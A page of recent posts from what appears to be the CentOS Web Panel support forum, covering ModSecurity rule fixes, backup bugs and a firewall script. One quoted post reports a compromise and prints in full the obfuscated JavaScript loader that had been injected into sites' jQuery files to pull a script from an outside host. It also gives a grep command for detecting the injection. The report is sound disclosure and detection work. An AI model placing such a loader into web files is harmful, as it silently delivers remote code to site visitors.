Recent Posts

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31
Information / Re: The impact of AI tools and our commitment to CWP
« Last post by geodim on September 12, 2026, 07:32:44 PM »
Nice to see that you still "hold the line" on the security front
32
CentOS-WebPanel Bugs / Re: OWASP Modsecurity rules showing warnings and does not block anithing
« Last post by Starburst on September 12, 2026, 12:37:02 PM »
Now if someone would write a KB article on how to upgrade your ModSecurity & OWASP CRS ruleset...  :-X
33
CentOS-WebPanel Bugs / OWASP Modsecurity rules showing warnings and does not block anithing
« Last post by adrianofnatal on September 12, 2026, 02:31:49 AM »
Hi all!

Just a contribution here, after a day breaking my head!
The OWASP rules was notworking, showing only warnings in logs, nothing was blocked.
Before check file orders, configurations, I notice 2 things:

1. The slide that enables modsecurity for each domain was on (green) but no created modsecurity.conf file with SecRuleEngine On. Just Off and On the slide and file was created.
2. The directory /usr/local/apache/conf.d/modsecurity-owasp-latest/rules have 2 files .conf.example. One of those is the MORE IMPORTANT file, REQUEST-901-INITIALIZATION.conf.example. Just copy this file to REQUEST-901-INITIALIZATION.conf

Reload your apache and it's working.
34
Backup / Re: Backup Manager Beta is not remembering password in destination
« Last post by adrianofnatal on September 12, 2026, 01:22:51 AM »
Here does not run scheduled backups.
Just run once manually when you created, after this, never run, manual or scheduled.

35
CSF Firewall / Re: CSF analyzer
« Last post by Emilius on September 11, 2026, 10:07:37 PM »
The bigger question for me is why functionality like this isn't built into CSF itself.

On a busy server, csf.deny can grow very quickly with individual IPs, including multiple addresses from the same /24 or /64. Automatically consolidating those entries into temporary subnet blocks and cleaning up old entries seems like a natural firewall maintenance feature.

I originally wrote this script because I wanted to keep the deny list small and manageable without making blocks permanent. It would be nice to see something similar implemented directly in CSF one day.
36
CSF Firewall / Re: CSF analyzer
« Last post by Emilius on September 11, 2026, 10:04:08 PM »
Yeah, that was just a typo when I originally named it. I noticed it later but never bothered fixing it since the script was already posted and in use. 😄
37
Backup / Re: Backup Manager Beta is not remembering password in destination
« Last post by Martins-phpbb on September 11, 2026, 07:09:46 PM »
No  you have to submit the password every day for it to run.
38
Backup / Re: Backup Manager Beta is not remembering password in destination
« Last post by overseer on September 11, 2026, 07:03:45 PM »
Any change with the recent update?
39
CSF Firewall / Re: CSF analyzer
« Last post by overseer on September 11, 2026, 07:01:58 PM »
Still wondering why it's not csfanalyzer2... It's for the CSF firewall after all!
:o
40
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by suarez on September 11, 2026, 06:41:09 AM »
Quote from: murad99 on August 24, 2026, 10:55:39 PM
Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.

below list is some of the variations of js files. where the same code snippet found

modernizr-2.8.3.min.js
wow.min.js
jquery-3.2.1.min.js
jquery.min.js
jquery-2.1.0.min.js
jquery-1.11.1.min.js
modernizer.js
jquery-3.3.1.min.js

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